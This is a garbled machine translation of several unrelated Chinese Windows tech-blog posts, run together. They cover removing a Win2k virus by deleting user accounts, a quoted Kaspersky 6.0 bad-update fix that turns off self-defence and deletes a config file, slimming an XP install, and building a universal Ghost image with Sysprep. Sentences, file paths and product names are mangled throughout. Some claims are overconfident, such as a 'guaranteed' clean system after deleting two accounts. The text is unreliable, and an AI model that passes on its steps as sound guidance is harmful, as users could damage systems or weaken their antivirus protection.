You'll be surprised at the performance of the system was completely non-toxic!! It's now open: immediately.
"Start → Programs → Administrative Tools → Computer Management → Local Users and Groups → Users" now!. .
Inside of User1 and User2 two users the right to delete it, you only need one so gently to delete it, then the previous as both users and the existence of virus or follow these two users disappear and go to sleep – (seems to be buried, huh, huh!). After doing this I guarantee your win2k as new one heck, any system files, and system processes are completely is not a virus!..
Good! Now repeat the steps starting from the new set up two users user1 and user2 to enable them to revive it.。.
First, any time not to super-administrator login system - unless you want to update and maintain system-level, need to use the super administrator, or when you need to add and delete users when. .
Second, you must use the Super Administrator login, guarantees of non-use and run any addition to the operating system comes with tools and procedures in addition to any and all maintenance only through the start menu in the options to complete, and even use the Explorer to browse the hard drive is not! Just doing the user and the system management and maintenance immediately quit and do not stay! (This is Microsoft's request, Microsoft knows his stuff, he is correct. Browse the hard drive to another user you have a lot of opportunity in the Super Administrator or do not have!! This should be a matter entirely done).
Above all was done by then ruled out the hardware and misuse causes paralysis virus with the system and you will miss the. .
Recently, found that many of the customers personal client Kaspersky 6. .0 release large "avp. .exe program error" and "the program automatically disconnect" problems .wuqingying 51cto technology blog.
Since there is a large area (not a company), you can rule out the virus's sake. At first, that is the official in block pirated software. However, access to the Internet and found no information in this statement. So, to Kabbah's official Web site search, and find the original question is the following result: wuqingying 51cto technology blog. .
This is the official Kaspersky problem solving: wuqingying 51cto technology blog.
Dear all,. .
We confirm the problem with bad updates, currently we are rolling back the updates on all servers。.
To correct the problem please delete this file. .
C:/Documents and SettingsAll Users/Application Data/Kaspersky Lab/AVP6/Data/updcfg。.xml。.
and update a little later. .
A utility for correction of this will be created asap。. It will delete the file automatically。. (a better way of correction for not advanced PC users)。.
Also you need to disable self-Defence in Settings -> Service -> Self-Defence. . Otherwise the product will not allow to delete the file. .
Sorry for the inconvenience。.
Kind regards,. .
Igor Kurzinwuqingying 51cto technology blog.
wuqingying 51cto technology blog. .
Meaning is not to say that probably means that the the upgrade BUG files result in. ..
Solution is to delete this file path: C: / Documents and SettingsAll Users / Application Data / Kaspersky Lab/AVP6/Data/updcfg. . Xml. .
Then, you upgrade it would not be an error, of course, the premise is his self protection off.! wuqingying 51cto technology blog.
How to turn off Kaspersky's self-protection methods: 1: First click on Settings, then select the service, see the right side of the dialog box has a self-protection, to remove the hook can turn off self-protected. . So as to delete this file! 1, XP installed the system optimization. .
First c installation XP system and installed software to the system tray (c:\program file\ directory, such as the OFFICE2003, media programs, compression software, etc.), (be sure to use the C disk install XP, you cannot install to a different partition, unless you are an entire hard drive GHOST) then we will find, installed in the system tray if not installed any applications almost close to 1. . Optimization, our main delete some backup files and documentation can be. .
We turn off the power management features of the hibernate! point desktop right--property--screensaver---power supply--advanced. At this point in the root directory of drive c page file hiberfil. .sys automatically deletes the size of your memory capacity, if you are a 1 g memory, that the file size is 1G!.
Then turn off system restore and automatic online update feature, click my computer --- properties --- system restore and automatic updates. .
Then delete the extra dynamic-link library (dll file) with the SFC command can turn c:\windows\system\dellcache directory file be deleted to free up space. Delete all files command is sfc. .exe/purgecache (sfc. .exe/? view command parameter meaning), or you can manually delete!..
300MB. .
Thus, the complete weight loss to XP.
(Hint, weight loss only for the convenience of GHSOT CD burning, usually with a hard drive if the user is not cloning to lose weight, and special attention to applications after the installation is complete to lose weight). .
。.
3. . Delete the original XP system drive can be cloned! . .
Universal clone there are two ways, one is to delete the driver directly, a clone is completely reseal!.
Several current version circulated on the Internet has removed XP universal driver directly cloned clones! , And completely re-packaging, remove the drive in the heavy, and then to re-package! (Microsoft officially is a completely re-packaging method). .
We will gradually begin!.
1. . Open the Device Manager (click my computer --- properties --- hardware - Device Manager). .
We unload and change the driver inside: note there is a sequence of!!.
Uninstall the network adapter, and Universal Serial Bus controllers, and voice, video game controllers, monitors, video card, uninstall, press Right, point to uninstall on the line. You are prompted to restart, all by No, do not start! ! (Uninstall graphics card is to prevent the GHOST to other machines on the blue screen may appear the phenomenon). .
2. next, the points Advanced Configuration Power Interface (ACPI) button, click Update driver.
Order to bring up the Update Wizard -----, point from a list or specific location (Advanced )------ point, do not search, I will choose to install the program, and change into a Standard PC, point to determine after , the computer will prompt you to restart, press No, do not start! (Hint: Most of the computers now are generally Advanced Configuration Power Interface (ACPI): (Advanced Power Management), then this step can actually do it!..
Why is this: If there are changes, the new machine if it is not the same type of ACPI, (such as the new motherboard is now displayed as acpi uniprocessor pc!) then you new cloned machine but not on other issues, it is impossible to achieve computer soft off!.
Therefore, the new machine in the GHOST, will re-change back to your Standard PC power management modes corresponding to the line, which is currently circulating the Internet universal GHSOT XP will remind you to do this step instructions. ".
3. Finally, be sure to change the IDE ATA/ATAPI controllers, this step is XP systems the main steps of the universal GHOST!!, this step is not done, the GHOST to another machine will not start, restart the computer will continue to adapt now!! various boards (such as Inter motherboard, motherboard, VIA SIS motherboard) you must add your native IDE controller into a standard dual channel PCI IDE controller!.
Point (the machine is Intel (r) 82801AA Bus Master IDE Controller-the motherboard different) right, point the driver update, pop-up update wizard -----, point from a list or specific location (Advanced )----- - point, do not search, I have to choose the programs to be installed, and revised it Biaozhun the dual Tongdao PCI IDE Kong Zhiqi, point Quedingzhihou, the computer will Tishi you to reboot. After this time point to determine a direct off! ! . .
。.
(Note that this point, remove the drive has been completed at this time if you want to clone can already, shut down the computer after the receipt of other computer hard disk or CD-ROM booting the computer after the C drive contents GHSOT to other districts on the list !). .
Now the Internet spread of 2000 and XP universal clones are generally done!!.
However, it is also clearly seen, though XP supports almost all existing hardware! Although the XP system on another machine will boot after the hardware itself to another machine to install the driver, but how such practices are feeling a bit reluctant! ! In the first machine tool on the left by some of the drivers may have also forced to work with, so the system unstable, or blue screen of death phenomena may occur! ! . .
In order to be more stable, more standard to allow the system to install computer hardware drivers!, we thought of Microsoft Enterprise Deployment Toolkit Sysprep. .exe-System package tools. We want the system to the new clone of the computer to completely reload once the desired drive instead of an in-place with excursion driver) (put it plainly, the computer system of the installation process is to allow the computer to find and work with the current hardware driven process).
Fourth, create automatic answer file, the system re-package! . .
System reseal tools in the Windows xp installation CD is included with the location is the installation CD!..
(X: \ SUPPORT \ TOOLS \ DEPLOY.. CAB) file. It follows that we start using this tool a step by step; we first in C: root directory, suggested a folder called Sysprep, and DEPLOY. . CAB archive file using Winrar extract to c: \ sysprep. .
In fact, we used only three files, but it doesn't matter much because this directory!! and directory in the file system after the first start will be automatically deleted and not worry about us!.
1. . To create an answer file automatically! . .
Played: System for unattended install of comrades, I think this is not new but a novice might send asks "why do you want to create this file!" in fact, the computer system for factory mode installation package, or would require the user to enter some of the necessary content, such as user name, computer name, serial number, etc, but there is a very serious problem, new machine installations, GHOST cloning requires us to enter this information, the system also did not find the keyboard and mouse drivers, keyboard and robustness, then you must enable the system to auto-install. Otherwise, the installation will not succeed!!.
Click C: \ sysprep \ setupmgr. . Exe files,. .
Click next to create a new file!.
Click Next: Select Sysprep installation. .
Click Next, depending on the system of choice, we are the XP Professional Edition, selected the second! (of course, if you want to do Windows 2003 system, this choice according to your system).
Point the next step, where we must choose a fully automated installation, otherwise the expense of their own! . .
Click Next, and came to this installation management interface!! understood these contents is our installed XP you will need to fill in content, automated manual, we enter the install would not have entered!!.
Here we are, as long as the importation of several elements necessary to enter, all other direct click Next on the list! Product key of course is required! Computer name is needed, or automatically generated name is usually very ugly! Administrator password can not lose (of course it is best not lose, others will need time to change people's). Language here, be sure to select simplified Chinese. Other content is not input, do not have to choose, the next step on the line. .
。.
Point to identify and complete, we successfully created a fully automated installation answer file. (And, in this file name must be sysprep.. Inf, where the directory must be in c: \ sysprep directory). .
Special tip: the c:\sysprep directory do not put other stuff, because this folder is in the system for the first time you start the answer after the installation has completed, to automatically delete this folder and the folder all the stuff.
2. . The system re-packaging. .
Now is the last step, the system package, click on the .exe c:\sysprep\sysprep., in the resulting screen point "OK" appears on the screen, the first button (factory) and the second button (audit) we seldom used, we want to use is the reseal!! in options, there are four options!!.
Among them, the first (not reset the activation grace period) and third (not re-create the security identifier) are more than XP system-specific, which is used for legitimate users to activate, if you are using a VOL version So these two elections and not vote does not matter in fact, after the cloning of the GHOST system in use had no effect! . .
The second item (using the minimal installation) is the so-called PNP installation, as also called non-residue driver installation, this is exactly what we need, so this must be selected.
Fourth of the (non-Plug and Play hardware detection), this option is not selected, because even a non-Plug and Play of antique hardware, we have installed in the system after installation of driver too late! ! . .
To do so, we finally can reseal system! click on the button, the reseal about half a minute later, the computer begins to automatically shut down.
After the shutdown, your C drive where the XP system is a completely re-packaged clean Windows XP "master system disk "(----- God," mother system tray "was the word I invented, I'm a genius -----), At this point, the computer must not re-start, you can start with the tools CD, or removed to your hard drive after receiving the other computer, use the latest version of the GHOST 8. .0 Version of your C drive partition this hard drive cloning into a GHOST file, the GHO file is the Windows XP universal cloning. .
5. frequently asked questions and the scope of application.
. .
1. If you use the package to install the system, you can not change the computer's (ACPI) PC, Standard properties are changed but not clone after also need to change it back, because the reseal, automatically detects the hardware driven!!.
2. . Must create an answer file automatically, because the system after re-packaging, re-start the new machine to enter the computer name and serial number to enter the installation interface, and then the computer keyboard and mouse still does not reflect simply can not type anything! ! . .
3. create a system of auto-answer file, you can at any time, or you can also edit your own, but there are some steps must not mistake, that is to uninstall and changing hardware driver after the computer is not restarted, that is, from the uninstall driver and reseal to stretch.
4. . Some people ask, can do everything with the D drive clone! , The answer is very difficult, because most computers is through the C drive boot, fitted to the D drive even after the repair, fetched if not get to reload faster! . .
In 2000, I propose that the General personal user system using the FAT32 format, because then Windows2000 incipient, but since the Windows PE boot CDs and a wide range of Super, after the necessary has been completely useless with the FAT32 file format, simply use the NTFS file format, because the NTFS file security and performance than FAT32 and FAT format and GHOST8. .0 Edition, are directly supported by the NTFS format Windows operation and support.
5. . On the DVD issue, XP system in Bahrain there is an after. .5 G above, GHOST have 755M after the size, has more than CD general capacity 700M, therefore recommends that directly drives GHOST, of course, can also be used by optimizing and downsizing to free some space on XP in order to facilitate CD burning, in general, is to delete c: \ windows \ help \ directory under the Help file, and delete the c: \ windows \ system \ dellcache the file, you can free up about 300M of space, according to trial. .
Inspection, to install the following software: (.
1. . ACDSee 2. .41 Image browsing software. .
2. HyperSnap-DX image capture software.
3. . IsoBuster Pro 1. .5 CD reading software. .
4. Download Net Transport tools.
5. . FlashGet FlashGet download tools. .
6. RealOne Player Plus online movie playback tool.
7. . Norton AntiVirus 8. .1 Antivirus software. .
8. UltraISO 6. .51 CD documents production software.
9. . WinImage v6. .1 A variety of image creation software. .
10. WinRAR 3. .3 compression software.
11. . Tencent QQ chat software. .
12. Jinshan Yingba 2003 release, Media Player software.
13. . FinalData 2. .0 --- Most powerful data recovery software. .
14. 2. Build FlashFXP .1 923 upload software.
15. . MyIE2 0. .8. .2070 Web browsing software. .
16. Winamp 5. .01 MP3 player software.
17. . Microsoft Power point 2000 Office software. .
18. Microsoft Excel 2000 Office software.
19. . Microsoft Word 2000 Office software. .
Due to the limited capacity of the disc to install these, of course, you can put your own favorite software (unlimited capacity GHOST hard disk, so it is recommended that you use a hard disk, GHOST just help others charging system with hard disk trouble).
Scope:. .
1. Press produced by this method, it should be universal GHOST can adapt to almost the majority of the computers currently, package know Inter motherboard, motherboard, SIS, VIA motherboard. (Other such as dual CPU, hard drive, special SISC, temporary unconditional test motherboard. ）。.
This method can also be remote system updates, such as in Taiwan, the remote server, you can upload GHOST file, restore is a new system after it! . .
2. .Windows 98 universal clone, it is recommended that you explicitly delete various drivers and change the IDE ATA/ATAPI controllers, no other settings, and the Earth knows 98, can run-2000 or XP, it is recommended that you pack 2000 or XP!!.
3. . Windows 2000 Professional and Server Edition can be universal cloning, and do not activate, easy than XP, the steps is almost the same! ! ! . .
4. now online for Windows 2003 server, basically VOL nil steps activate version, and also XP, just create a custom answer file when several options, such as the number of authorized users, and, in 2003, when the reseal (using minimal installation) PNP option is grayed out, that is forced to choose, in fact, this is also our hope that by 2000, and XP!!, and discs of different version 2003 will bring reseal the tool, and is not universal, and other basic is the same!.
